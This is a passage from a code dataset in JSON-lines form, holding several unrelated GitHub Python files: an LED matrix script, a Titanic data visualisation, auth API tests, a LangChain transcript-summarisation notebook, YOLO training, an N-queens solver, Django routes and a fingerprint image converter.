higher, the slower.\n font_index: it was easier for us to use numbers \n instead of the actual font names.\n \"\"\"\n serial = spi(port=0, device=0, gpio=noop())\n device = max7219(serial, cascaded=4, block_orientation=-90, rotate=0)\n fonts = [CP437_FONT, TINY_FONT, SINCLAIR_FONT, LCD_FONT]\n scrolling_text(device, msg, speed, fonts[font_index])\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Testing code!\n You shouldn't worry about it unless you want to test your led matrix beforehand.\n \"\"\"\n serial = spi(port=0, device=0, gpio=noop())\n device = max7219(serial, cascaded=4, block_orientation=-90, rotate=0)\n fonts = [CP437_FONT, TINY_FONT, SINCLAIR_FONT, LCD_FONT]\n while True:\n #fi=input(\"Fuente: 0 CP437_FONT, 1 TINY_FONT, 2 SINCLAIR_FONT, 3 LCD_FONT\")\n #keyboard_2(device)\n #speed = input(\"velocidad\")\n #mensaje = str(input(\"mensaje\"))\n #scrolling_text(device,mensaje,speed,fonts[fi])\n #scrolling_text(device,mensaje)\n x = input()\n ascii_char(device, x)\n #with canvas(device) as draw:\n #\ttext(draw, (0, 0), \"R\", fill=\"white\")\n","repo_name":"berithpy/holo","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31850422211","text":"import seaborn as sns # 데이터 시각화 라이브러리(손쉽게 그래프를 그리고 그래프 스타일 설정 가능)\r\nimport pandas as pd # 데이터 처리를 위한 라이브러리\r\nimport matplotlib.pyplot as plt # 데이터 시각화 라이브러리(정교하게 그래프의 크기를 조절하거나 각 축의 범례 값을 조절)\r\n\r\n#데이터 수집\r\ntitanic = sns.load_dataset(\"titanic\") # load_dataset는 데이터셋을 불러오는 함수\r\ntitanic.to_csv('D:/panda203033/titanic.csv', index = False) # 불러온 데이터를 csv파일로 저장\r\n\r\n#데이터 준비\r\ntitanic.isnull().sum() # 데이터프레임의 null값의 개수를 확인, isnull()은 null값일 때 True 아니면 Flase\r\ntitanic['age'] = titanic['age'].fillna(titanic['age'].median()) # filln()는 pandas 라이브러리에서 제공하는 메서드(결측치(null 또는 NaN 값)를 다른 값으로 대체하는 역할), median는 중앙값\r\ntitanic['embarked'].value_counts() # value_counts()는 고유한 행의 갯수를 반환\r\ntitanic['embark_town'] = titanic['embark_town'].fillna('Southampton')\r\ntitanic['deck'].value_counts()\r\ntitanic['deck'] = titanic['deck'].fillna('C')\r\ntitanic.isnull().sum()\r\n\r\n# 데이터 탐색\r\ntitanic.info() # 데이터의 기본 정보 탐색\r\ntitanic.survived.value_counts()\r\n\r\nf,ax = plt.subplots(1, 2, figsize = (10, 5)) # 차트를 그려 데이터를 시각적으로 탐색, 1행 2열의 그래프 서브플롯 생성\r\ntitanic['survived'][titanic['sex'] == 'male'].value_counts().plot.pie(explode = [0,0.1], autopct = '%1.1f%%', ax = ax[0], shadow = True)\r\n# explode는 파이 차트에서 특정 부분을 돌출시키는 정도, autopct는 파이 차트의 각 조각에 표시되는 퍼센트 값을 포맷, ax = ax[0]는 첫번째 서브플롯에 그림, shadow는 그림자 효과\r\ntitanic['survived'][titanic['sex'] == 'female'].value_counts().plot. pie(explode = [0,0.1], autopct = '%1.1f%%', ax = ax[1], shadow = True)\r\nax[0].set_title('Survived (Male)') # 타이틀을 Survived (Male)로 지정\r\nax[1].set_title('Survived (Female)')\r\nplt.show()\r\n\r\n# 등급별 생존자 수를 차트로 나타내기\r\nsns.countplot(x = 'pclass', hue = 'survived', data = titanic) # x 축에 'pclass' 변수를 지정, 막대 그래프의 색상을 'survived' 변수로 구분, 그래프를 그릴 데이터를 'titanic' 데이터프레임으로 지정\r\nplt.title('Pclass vs Survived')\r\nplt.show()\r\n\r\n# 데이터 모델링 오류 해결x\r\n# titanic_corr = titanic.corr(method = 'pearson') # 상관 분석을 위한 상관 계수 구하고 저장\r\n# titanic_corr\r\n# titanic_corr.to_csv('C:/Users/dlwod/PythonProject/titanic_corr.csv', index = False)\r\n# titanic['survived'].corr(titanic['adult_male']) # 특정 변수 사이의 상관 계수 구하기\r\n# titanic['survived'].corr(titanic['fare'])\r\n\r\n#결과 시각화\r\nsns.pairplot(titanic, hue = 'survived') # pairplot은 변수들 간의 산점도를 그려 상관 분석 결과를 시각화, titanic 데이터프레임의 변수들 간의 산점도와 히스토그램을 그리는\r\nplt.show()\r\nsns.catplot(x = 'pclass', y = 'survived', hue = 'sex', data = titanic, kind = 'point')\r\n# 두 변수의 상관 관계를 포인트 플롯으로 그림, catplot()함수는 주어진 데이터프레임의 범주형 변수들 간의 관계를 시각화, kind는 그래프의 종류를 'point'로 설정\r\nplt.show()\r\n\r\ndef category_age(x): # 변수 사이의 상관 계수를 히트맵으로 시각화, 10살 단위로 등급을 나누어 0~7의 값으로 바꿈\r\n if x < 10:\r\n return 0\r\n elif x < 20:\r\n return 1\r\n elif x < 30:\r\n return 2\r\n elif x < 40:\r\n return 3\r\n elif x < 50:\r\n return 4\r\n elif x < 60:\r\n return 5\r\n elif x < 70:\r\n return 6\r\n else:\r\n return 7\r\ntitanic['age2'] = titanic['age'].apply(category_age) # age변수를 기반으로 age2변수를 생성\r\ntitanic['sex'] = titanic['sex'].map({'male':1, 'female':0}) # sex변수의 값을 male과 female에서 각각 1과 0으로 매핑하여 sex변수를 업데이트\r\ntitanic['family'] = titanic['sibsp'] + titanic['parch'] + 1 # sibsp와 parch변수를 합산\r\ntitanic.to_csv('C:/Users/dlwod/PythonProject/titanic3.csv', index = False)\r\nheatmap_data = titanic[['survived', 'sex', 'age2', 'family', 'pclass', 'fare']]\r\n# titanic데이터프레임에서 survived, sex, age2, family, pclass, fare열을 선택하여 heatmap_data 데이터프레임을 생성\r\ncolormap = plt.cm.RdBu # 히트맵에 사용될 색상 맵을 RdBu로 지정\r\nsns.heatmap(heatmap_data.astype(float).corr(), linewidths = 0.1, vmax = 1.0, square = True, cmap = colormap, linecolor = 'white', annot = True, annot_kws = {\"size\": 10})\r\n# astype(float)은 heatmap_data데이터프레임을 부동 소수점 형식으로 변환, corr은 변환된 데이터프레임의 열들 간의 상관관계를 계산(피어슨 상관계수를 기본으로 사용)\r\n# linewidths는 히트맵의 셀 사이의 경계선의 너비를 설정, vmax는 히트맵에서 색상 맵의 최대 값으로 사용될 상관계수를 설정, square는 히트맵의 셀이 정사각형 모양으로 표시되도록 설정\r\n# cmap은 히트맵에 사용될 색상 맵을 'colormap' 변수로 설정, linecolor는 히트맵의 셀 사이 경계선의 색상을 흰색으로 설정, annot은 히트맵의 각 셀에 상관계수 값을 주석으로 표시, annot_kws는 주석의 글꼴 크기를 10으로 설정\r\nplt.show()","repo_name":"jw39/703PyStudy","sub_path":"0531HeatmapTitanic.py","file_name":"0531HeatmapTitanic.py","file_ext":"py","file_size_in_byte":5532,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25187660737","text":"#\r\n# Copyright (c) 2018-2019 Intel Corporation\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n#\r\n\r\nimport pytest\r\nimport falcon\r\n\r\n\r\n@pytest.mark.parametrize(\"params, expected_redirect_url\", [({'offline': True}, 'oob'),\r\n ({}, 'callback')])\r\ndef test_authenticate_get(client, params, expected_redirect_url):\r\n expected_status = falcon.HTTP_308\r\n result = client.simulate_request(method='GET', path='/authenticate', params=params)\r\n assert expected_status == result.status\r\n assert expected_redirect_url in result.headers['Location']\r\n\r\n\r\n@pytest.mark.parametrize(\"body, expected_status\",\r\n [({'code': 'test'}, falcon.HTTP_OK),\r\n ({'modelName': 'wrong'}, falcon.HTTP_400),\r\n ({'refresh_token': 'test'}, falcon.HTTP_OK)])\r\ndef test_token_post(mocker, client, body, expected_status):\r\n get_token_mock = mocker.patch('management_api.authenticate.authenticate.get_token')\r\n get_token_mock.return_value = \"test\"\r\n result = client.simulate_request(method='POST', json=body, path='/authenticate/token')\r\n assert expected_status == result.status\r\n if expected_status is falcon.HTTP_OK:\r\n get_token_mock.assert_called_once()\r\n assert 'token' in result.text\r\n","repo_name":"IntelAI/inference-model-manager","sub_path":"management/test/test_auth/test_authenticate.py","file_name":"test_authenticate.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"67"} +{"seq_id":"13975888690","text":"# libraries\r\nimport pandas as pd \r\nfrom sqlalchemy import create_engine\r\nimport sqlite3\r\n\r\ndef saveCsv(df):\r\n # Function edits a CSV file and saves it with the data\r\n try:\r\n dfOld = pd.read_csv('data/weatherdata.csv', index_col=False)\r\n print('Opened CSV.')\r\n except:\r\n print('CSV does not exist.')\r\n dfOld = pd.DataFrame()\r\n\r\n dfNew = dfOld.append(df, ignore_index=True)\r\n dfNew.to_csv('data/weatherdata.csv', index=False)\r\n\r\ndef appendDB(df):\r\n # Function to append the database entries\r\n engine = create_engine('sqlite:///data/weatherdata.db', echo=False)\r\n sqlite_connection = engine.connect()\r\n \r\n sqlite_table = 'weather'\r\n df.to_sql(sqlite_table, sqlite_connection, if_exists='append')\r\n","repo_name":"mandreas-public/api-weather-data","sub_path":"connections.py","file_name":"connections.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4476177900","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Extract Data From Calls & Video Transcripts/Interviews\n# \n# There is a lot of spoke word out there. Podcasts, interviews, sales calls, phone calls.\n# \n# It is extremely useful to be able to extract this information and create value with it. We're going to run through an example focusing on the B2B sales use case.\n# \n# **Small plug:** This is a mini-preview on how I built [Thimble](https://thimbleai.com/) which helps Account Executives pull information from their sales calls. Sign up at https://thimbleai.com/ if you want to check it out or here's the [demo video](https://youtu.be/DIw4rbpI9ic) or see more information on [Twitter](https://twitter.com/GregKamradt)\n# \n# Plug over, Let's learn! 😈\n# \n# Through building Thimble I've learned a few tricks to make working with transcripts easier:\n# 1. **Name/Role -** Put the name of each person before their sentence. Bonus points if you have their role/company included too. Example: Greg (Marin Transitions): Hey! How's it going?\n# 2. **System instructions -** Be specific with your system prompt about the role you need you bot to play\n# 3. **Only pull from the call -** Emphasize not to make anything up\n# 4. **Don't make the user prompt -** Abstract away any user prompting necessary with key:value pairs\n# \n# First let's import our packages\n\n# In[1]:\n\n\n# To get environment variables\nimport os\n\n# Make the display a bit wider\nfrom IPython.display import display, HTML\ndisplay(HTML(\"\"))\n\n# To split our transcript into pieces\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\n\n# Our chat model. We'll use the default which is gpt-3.5-turbo\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.chains.summarize import load_summarize_chain\n\n# Prompt templates for dynamic values\nfrom langchain.prompts.chat import (\n ChatPromptTemplate,\n SystemMessagePromptTemplate,\n AIMessagePromptTemplate, # I included this one so you know you'll have it but we won't be using it\n HumanMessagePromptTemplate\n)\n\n# To create our chat messages\nfrom langchain.schema import (\n AIMessage,\n HumanMessage,\n SystemMessage\n)\n\n\n# In[22]:\n\n\nos.environ['OPENAI_API_KEY'] = '...'\n\n\n# Then let's load up our data. This is already a formatted transcript of a mock sales call. 70% of the hard part is getting clean data. Don't under estimate the reward you get for cleaning up your data first!\n\n# In[3]:\n\n\nwith open('../data/Transcripts/acme_co_v2.txt', 'r') as file:\n content = file.read()\n\n\n# In[4]:\n\n\nprint (\"Transcript:\\n\")\nprint(content[:215]) # Why 215? Because it cut off at a clean line\n\n\n# Split our documents so we don't run into token issues. Experiment with what chunk size words best for your use case\n\n# In[5]:\n\n\ntext_splitter = RecursiveCharacterTextSplitter(separators=[\"\\n\\n\", \"\\n\"], chunk_size=2000, chunk_overlap=250)\ntexts = text_splitter.create_documents([content])\n\n\n# In[6]:\n\n\nprint (f\"You have {len(texts)} texts\")\ntexts[0]\n\n\n# In[7]:\n\n\n# Your api key should be an environment variable, or else put it here\n# We are using a chat model in case you wanted to use gpt4\nllm = ChatOpenAI(temperature=0)\n\n\n# We're going to start with the vanilla load_summarize_chain to see how it goes.\n# If you want to see the default prompts that are used you can explore the LangChain code. Here are the [map reduce prompts](https://github.com/hwchase17/langchain/blob/master/langchain/chains/summarize/map_reduce_prompt.py)\n\n# In[8]:\n\n\n# verbose=True will output the prompts being sent to the \nchain = load_summarize_chain(llm, chain_type=\"map_reduce\", verbose=True)\n\n\n# **Note:** At this point you might be asking, \"Greg, what about embeddings?\" Since we're just doing one call, I'm not worry about embeddings right now and putting the whole thing in a map reduce summarizer. If you have multiple calls and a lot of history then you should be embedding them for retrieval later. See tutorial on embeddings [here.](https://youtu.be/h0DHDp1FbmQ). [Tutorial on chain types.](https://youtu.be/f9_BWhCI4Zo)\n\n# In[9]:\n\n\noutput = chain.run(texts)\n\n\n# In[10]:\n\n\nprint (output)\n\n\n# Not bad, but it's giving me the perspective of a 3rd party watching the conversation that is agnostic to the content. I want the AI bot to me on my side! I'll need to switch up the prompts to do this.\n\n# ### Custom Prompts\n# \n# I'm going to write custom prompts that give the AI more instructions on what role I want it to play\n\n# In[11]:\n\n\ntemplate=\"\"\"\n\nYou are a helpful assistant that helps {sales_rep_name}, a sales rep at {sales_rep_company}, summarize information from a sales call.\nYour goal is to write a summary from the perspective of {sales_rep_name} that will highlight key points that will be relevant to making a sale\nDo not respond with anything outside of the call transcript. If you don't know, say, \"I don't know\"\nDo not repeat {sales_rep_name}'s name in your output\n\n\"\"\"\nsystem_message_prompt = SystemMessagePromptTemplate.from_template(template)\n\nhuman_template=\"{text}\" # Simply just pass the text as a human message\nhuman_message_prompt = HumanMessagePromptTemplate.from_template(human_template)\n\n\n# In[12]:\n\n\nchat_prompt = ChatPromptTemplate.from_messages(messages=[system_message_prompt, human_message_prompt])\n\n\n# In[13]:\n\n\nchain = load_summarize_chain(llm,\n chain_type=\"map_reduce\",\n map_prompt=chat_prompt\n )\n\n# Because we aren't specifying a combine prompt the default one will be used\n\n\n# In[14]:\n\n\noutput = chain.run({\n \"input_documents\": texts,\n \"sales_rep_company\": \"Marin Transitions Partner\", \\\n \"sales_rep_name\" : \"Greg\"\n })\n\n\n# In[15]:\n\n\nprint (output)\n\n\n# Better! But say I wanted to change the format of the output without needing the user to do extra prompting.\n\n# ### Promptless changes\n# \n# To do this I'll write a few points about the different output types I would like. However, I'll that I'll expose to the user is a simple selection, radio button, or drop down. (We'll use text for now but you can do this in your app).\n# \n# I want to give the user the option to select between different summary output types.\n# \n# I'll have them pick between:\n# 1. One Sentence\n# 2. Bullet Points\n# 3. Short\n# 4. Long\n# \n# I could try to pass these words to the LLM, but I want to be more explicit with it. Plus, giving good instructions is the way to go!\n\n# In[16]:\n\n\nsummary_output_options = {\n 'one_sentence' : \"\"\"\n - Only one sentence\n \"\"\",\n \n 'bullet_points': \"\"\"\n - Bullet point format\n - Separate each bullet point with a new line\n - Each bullet point should be concise\n \"\"\",\n \n 'short' : \"\"\"\n - A few short sentences\n - Do not go longer than 4-5 sentences\n \"\"\",\n \n 'long' : \"\"\"\n - A verbose summary\n - You may do a few paragraphs to describe the transcript if needed\n \"\"\"\n}\n\n\n# Create a new template that takes an additional parameter. I need to put this in the combined prompt so that the LLM will output in my format. If I did this in the map section I would lose the format after the combined prompt was done\n# \n# **Map Prompt**\n\n# In[17]:\n\n\ntemplate=\"\"\"\n\nYou are a helpful assistant that helps {sales_rep_name}, a sales rep at {sales_rep_company}, summarize information from a sales call.\nYour goal is to write a summary from the perspective of Greg that will highlight key points that will be relevant to making a sale\nDo not respond with anything outside of the call transcript. If you don't know, say, \"I don't know\"\n\"\"\"\nsystem_message_prompt_map = SystemMessagePromptTemplate.from_template(template)\n\nhuman_template=\"{text}\" # Simply just pass the text as a human message\nhuman_message_prompt_map = HumanMessagePromptTemplate.from_template(human_template)\n\nchat_prompt_map = ChatPromptTemplate.from_messages(messages=[system_message_prompt_map, human_message_prompt_map])\n\n\n# **Combined Prompt**\n\n# In[18]:\n\n\ntemplate=\"\"\"\n\nYou are a helpful assistant that helps {sales_rep_name}, a sales rep at {sales_rep_company}, summarize information from a sales call.\nYour goal is to write a summary from the perspective of Greg that will highlight key points that will be relevant to making a sale\nDo not respond with anything outside of the call transcript. If you don't know, say, \"I don't know\"\n\nRespond with the following format\n{output_format}\n\n\"\"\"\nsystem_message_prompt_combine = SystemMessagePromptTemplate.from_template(template)\n\nhuman_template=\"{text}\" # Simply just pass the text as a human message\nhuman_message_prompt_combine = HumanMessagePromptTemplate.from_template(human_template)\n\nchat_prompt_combine = ChatPromptTemplate.from_messages(messages=[system_message_prompt_combine, human_message_prompt_combine])\n\n\n# In[19]:\n\n\nchain = load_summarize_chain(llm,\n chain_type=\"map_reduce\",\n map_prompt=chat_prompt_map,\n combine_prompt=chat_prompt_combine,\n verbose=True\n )\n\n\n# In[20]:\n\n\nuser_selection = 'one_sentence'\n\noutput = chain.run({\n \"input_documents\": texts,\n \"sales_rep_company\": \"Marin Transitions Partner\", \\\n \"sales_rep_name\" : \"Greg\",\n \"output_format\" : summary_output_options[user_selection]\n })\n\n\n# In[21]:\n\n\nprint(output)\n\n\n# Awesome! Now we have a bullet point format without needing to have the user specify any additional information.\n# \n# If you wanted to productionize this you would need to add additional prompts to extract other information from the calls that may be helpful to a sales person. Example: Key Points + Next Steps from the call. You should also parallelize the map calls if you do the map reduce method.\n# \n# Have other ideas about how something like this could be used? Send me a tweet or DM on [Twitter](https://twitter.com/GregKamradt) or contact@dataindependent.com\n","repo_name":"ssbuild/gpt_agent","sub_path":"data_generation/Working With Call or Video Transcripts.py","file_name":"Working With Call or Video Transcripts.py","file_ext":"py","file_size_in_byte":10063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37710415050","text":"import argparse\nimport os\nimport numpy as np\nfrom util import parse_annotation\nfrom frontend import YOLO\nimport json\nimport torch\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"1\"\n\nprint ('Available devices ', torch.cuda.device_count())\nprint ('Current cuda device ', torch.cuda.current_device())\n\nargparser = argparse.ArgumentParser(\n description='Train and validate YOLO_v2 model on COCO 2014 dataset')\n\nargparser.add_argument(\n '-c',\n '--conf',\n help='path to configuration file')\n\ndef _main_(args):\n config_path = args.conf\n\n with open(config_path) as config_buffer: \n config = json.loads(config_buffer.read())\n\n ###############################\n # Parse the annotations \n ###############################\n\n \"\"\"\n parse annotations of the training set\n train_imgs is a list of dictionary with the following keys and contents: \n object : a list of objects in the image, each object is a dictionary with object name, box coordinates (xmin, xmax, ymin, ymax)\n filename : complete path of the image \n width : original pixel width\n height : original pixel height\n train_labels contains the statistics of the count of each type of object \n \"\"\"\n\n train_imgs, train_labels = parse_annotation(config['train']['train_annot_folder'], \n config['train']['train_image_folder'], \n config['model']['labels'])\n \n # split the training set into 80% training and 20% validation\n if os.path.exists(config['valid']['valid_annot_folder']):\n valid_imgs, valid_labels = parse_annotation(config['valid']['valid_annot_folder'], \n config['valid']['valid_image_folder'], \n config['model']['labels'])\n else:\n train_valid_split = int(0.8*len(train_imgs))\n np.random.shuffle(train_imgs)\n valid_imgs = train_imgs[train_valid_split:]\n train_imgs = train_imgs[:train_valid_split]\n print('{} train images and {} validation images'.format(len(train_imgs), len(valid_imgs)))\n\n # parse annotations of the testing set\n test_imgs, test_labels = parse_annotation(config['test']['test_annot_folder'],\n config['test']['test_image_folder'],\n config['model']['labels'])\n \n if len(config['model']['labels']) > 0:\n overlap_labels = set(config['model']['labels']).intersection(set(train_labels.keys()))\n\n print('Seen labels:\\t', len(train_labels))\n print('Given labels:\\t', len(config['model']['labels']))\n print('Overlap labels:\\t', len(overlap_labels))\n print(overlap_labels)\n\n if len(overlap_labels) < len(config['model']['labels']):\n print('Some labels have no annotations! Please revise the list of labels in the config.json file!')\n return\n else:\n print('No labels are provided. Train on all seen labels.')\n print(train_labels.keys())\n config['model']['labels'] = train_labels.keys()\n\n ###############################\n # Construct the model \n ###############################\n yolo = YOLO(feature_extractor = config['model']['backend'],\n input_size = config['model']['input_size'], \n labels = config['model']['labels'], \n max_box_per_image = config['model']['max_box_per_image'],\n anchors = config['model']['anchors'])\n\n ##############################################################\n # Start training the last layer from scratch with warm up\n ##############################################################\n yolo.train(train_imgs = train_imgs,\n valid_imgs = valid_imgs,\n test_imgs = test_imgs,\n pretrained_weights = '',\n nb_epochs = config['train']['nb_epochs'],\n learning_rate = config['train']['learning_rate'],\n batch_size = config['train']['batch_size'],\n object_scale = config['train']['object_scale'],\n no_object_scale = config['train']['no_object_scale'],\n coord_scale = config['train']['coord_scale'],\n class_scale = config['train']['class_scale'],\n saved_weights_name = config['train']['saved_weights_name'],\n train_last_epoch = 3,\n freeze_BN = True,\n train_mode = False,\n debug = True)\n\n\n\nif __name__ == '__main__':\n args = argparser.parse_args()\n _main_(args)\n\n","repo_name":"shangranq/Yolov2-Pytorch","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4793,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"26989724020","text":"#!/usr/bin/python3\n\"\"\"\n#!/usr/bin/python3\nThe N queens puzzle is the challenge of placing N non-attacking\nqueens on an N×N chessboard. Write a program that solves the N\nqueens problem.\n\"\"\"\n\nfrom re import I\nimport sys\n\n\ndef checkAttack(queens):\n \"\"\"\n check if the there are queens attacking each other in queens\n \"\"\"\n for i, queen in enumerate(queens):\n if (queen in queens[i + 1:]):\n return True\n for j, secondQueen in enumerate(queens[i + 1:]):\n if (abs(queen-secondQueen) == abs(i-(j + i + 1))):\n return True\n return False\n\n\ndef nextRow(qns, N, sols=[]):\n \"\"\"\n put a new queen in the next row and continues algorithm from there\n \"\"\"\n queens = qns.copy()\n nQueens = len(queens)\n if (nQueens == N):\n sols.append(queens)\n return\n for i in range(N):\n queens.append(i)\n if (checkAttack(queens)):\n queens.pop()\n else:\n nextRow(queens, N, sols)\n queens.pop()\n\n\nif __name__ == '__main__':\n if (len(sys.argv) != 2):\n print('Usage: nqueens N')\n exit(1)\n arg = sys.argv[1]\n if(not arg.isdigit()):\n print('N must be a number')\n exit(1)\n N = int(arg)\n if (N < 4):\n print('N must be at least 4')\n exit(1)\n\n solutions = []\n nextRow([], N, solutions)\n for solution in solutions:\n print([[i, solution[i]] for i in range(len(solution))])\n","repo_name":"jsebdev/holbertonschool-interview","sub_path":"0x05-nqueens/0-nqueens.py","file_name":"0-nqueens.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43227984202","text":"from django.urls import include, path\nfrom rest_framework import routers\nfrom .views import UserViewSet, ProblemViewSet, OrderViewSet, PartStageViewSet, PartViewSet, CarViewSet\n\nrouter = routers.DefaultRouter()\nrouter.register(r'problemy', ProblemViewSet, basename='problem')\nrouter.register(r'zlecenia', OrderViewSet, basename='order')\nrouter.register(r'stany_generacyjne', PartStageViewSet, basename='part_stage')\nrouter.register(r'czesci', PartViewSet, basename='part')\nrouter.register(r'uzytkownicy', UserViewSet)\n\nurlpatterns = [\n path('', include(router.urls)),\n ]\n","repo_name":"PythonXCII/manage_reports_system","sub_path":"order/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43804155441","text":"# --------------------------------------------------------------------------\n# Tensorflow Implementation of Synthetic Fingerprint Generation\n# Licensed under The MIT License [see LICENSE for details]\n# Written by Young-Mook Kang\n# Email: kym343@naver.com\n# --------------------------------------------------------------------------\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport cv2\nimport argparse\nimport utils as utils\n\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('--data_path', dest='data_path', type=str,\n default='../test/generation/20201003-091628',\n help='Synthetic Fingerprint test dir path')\nparser.add_argument('--overlap', dest='overlap', type=str,\n default='total',\n help='Overlap range [total, 0~20, 20~40, 40~60, 60~80, 80~100]')\nparser.add_argument('--output_dir', dest='output_dir', type=str,\n default='../test/bmp/',\n help='Convert PNG to BMP format, Output dir')\nparser.add_argument('--direct', dest='direct', type=bool,\n default=False,\n help='Direct connection of data_path')\n\nargs = parser.parse_args()\n\n\ndef load_GT_and_output(data_path, overlap='total'):\n dataPath = os.path.join(data_path, overlap)\n\n # Read GT data paths\n GT_Paths = utils.all_files_under(dataPath, subfolder='GT', endswith='.png')\n print('Number of GT images in img_paths: {}'.format(len(GT_Paths)))\n\n # Read output data paths\n output_Paths = utils.all_files_under(dataPath, subfolder='output', endswith='.png')\n print('Number of output images in img_paths: {}'.format(len(output_Paths)))\n\n return GT_Paths, output_Paths\n\n\ndef load_direct(data_path):\n # Read data paths\n data_Paths = utils.all_files_under(data_path, endswith='.png')\n print('Number of GT images in img_paths: {}'.format(len(data_Paths)))\n\n return data_Paths\n\n\ndef main(data_path, overlap, output_dir, direct):\n if not direct: # GT & Output\n GT_Paths, output_Paths = load_GT_and_output(data_path, overlap)\n numImgs = len(output_Paths)\n\n model=data_path.split('/')[-1]\n # GT_bmp = os.path.join(output_dir, '{}/{}/{}'.format(model, overlap,'GT'))\n output_bmp = os.path.join(output_dir, '{}/{}/{}'.format(model, overlap,'output'))\n print(\"output_bmp:{}\".format(output_bmp))#\n\n # if not os.path.isdir(GT_bmp):\n # os.makedirs(GT_bmp)\n\n if not os.path.isdir(output_bmp):\n os.makedirs(output_bmp)\n\n # GT_list = []\n output_list = []\n\n for i, GT_path in enumerate(output_Paths):\n if i % 200 == 0:\n print('Processing {} / {}...'.format(i, numImgs))\n\n output_path = output_Paths[i]\n\n # GT = cv2.imread(GT_path, 0)\n output = cv2.imread(output_path, 0)\n\n # GT_bmp_name = GT_bmp + '/' + GT_Paths[i].split('\\\\')[-1]\n output_bmp_name = output_bmp + '/' + output_Paths[i].split('/')[-1]\n\n # cv2.imwrite('{}.bmp'.format(GT_bmp_name[:-4]), GT)\n cv2.imwrite('{}.bmp'.format(output_bmp_name[:-4]), output)\n print('{}.bmp'.format(output_bmp_name[:-4]))\n # print('{}.bmp'.format(output_bmp_name[:-4]))\n\n # GT_list.append('{}.bmp'.format(GT_bmp_name[:-4]).split('/')[-1])\n output_list.append('{}.bmp'.format(output_bmp_name[:-4]).split('/')[-1])\n\n print(\"==================== FINISH ====================\")\n #\n # for i in range(numImgs):\n # print('NFIQ2 SINGLE {} BMP false false'.format(GT_list[i]))\n # print('echo \" \"')\n\n print(\"==================== GT ====================\")\n\n for i in range(numImgs):\n print('NFIQ2 SINGLE {} BMP false false'.format(output_list[i]))\n print('echo \" \"')\n\n print(\"==================== output ====================\")\n\n else:\n data_Paths = load_direct(data_path)\n numImgs = len(data_Paths)\n\n data_bmp = output_dir\n\n if not os.path.isdir(data_bmp):\n os.makedirs(data_bmp)\n\n data_list = []\n\n for i, data_path in enumerate(data_Paths):\n if i % 200 == 0:\n print('Processing {} / {}...'.format(i, numImgs))\n\n data = cv2.imread(data_path, 0)\n\n data_bmp_name = data_bmp + data_Paths[i].split('/')[-1]\n\n cv2.imwrite('{}.bmp'.format(data_bmp_name[:-4]), data)\n\n data_list.append('{}.bmp'.format(data_bmp_name[:-4]).split('/')[-1])\n\n print(\"==================== FINISH ====================\")\n\n for i in range(numImgs):\n print('NFIQ2 SINGLE {} BMP false false'.format(data_list[i]))\n print('echo \" \"')\n\nif __name__ == '__main__':\n main(args.data_path, args.overlap, args.output_dir, args.direct)","repo_name":"kym343/Synthetic_Fingerprint_Generation","sub_path":"src/cal_NFIQ2.py","file_name":"cal_NFIQ2.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"17948851772","text":"\"\"\"\ncyber_dyadic.py\nCompute the complete set of Nth order bands from Nyquist to the averaging frequency\nPhysical to cyber conversion with preferred quasi-dyadic orders\nExample: base10, base2, dB, bits\n\n\"\"\"\n\nimport numpy as np\nfrom libquantum.scales import Slice\nprint(__doc__)\n\n# CONSTANTS\ndefault_scale_order = 3.\ndefault_scale_base = Slice.G2\ndefault_ref_frequency = Slice.F1\ndefault_ref_period = Slice.T1S\n\n\ndef scale_multiplier(scale_order: float = default_scale_order):\n \"\"\"\n Scale multiplier for scale bands of order N > 0.75\n :param scale_order: scale order\n :return:\n \"\"\"\n return 0.75*np.pi*scale_order\n\n\ndef base_multiplier(scale_order: float = default_scale_order,\n scale_base: float = default_scale_base):\n \"\"\"\n Dyadic (log2) foundation for arbitrary base\n :param scale_order:\n :param scale_base:\n :return:\n \"\"\"\n return scale_order/np.log2(scale_base)\n\n\ndef scale_bands_from_ave(frequency_sample_hz: float,\n frequency_ave_hz: float,\n scale_order: float = default_scale_base,\n scale_ref_hz: float = default_ref_frequency,\n scale_base: float = default_scale_base):\n \"\"\"\n\n :param frequency_sample_hz:\n :param frequency_ave_hz:\n :param scale_order:\n :param scale_ref_hz:\n :param scale_base:\n :return: [band_nyq, band_ave, band_max, log2_ave_life_dyad]\n \"\"\"\n\n # Framework constants\n scale_mult = scale_multiplier(scale_order)\n order_over_log2base = base_multiplier(scale_order, scale_base)\n\n # Dyadic transforms\n log2_scale_mult = np.log2(scale_mult)\n\n 